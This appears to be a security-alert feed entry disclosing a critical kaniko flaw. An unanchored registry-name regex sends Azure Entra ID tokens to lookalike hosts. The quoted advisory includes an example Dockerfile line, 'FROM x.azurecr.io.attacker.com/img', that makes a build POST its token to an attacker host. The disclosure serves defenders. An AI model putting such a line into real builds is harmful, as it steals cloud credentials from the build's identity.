kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource…

Why it is Amber

• CVSS 9.3 critical
• Remotely exploitable without logging in
• On your watchlist: azure, entra

References

• https://github.com/chainguard-forks/kaniko/pull/495
• https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20
• https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97
• https://github.com/chrismellard/docker-credential-acr-env/issues/21
• https://pkg.go.dev/vuln/GO-2026-6225

Original description

kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.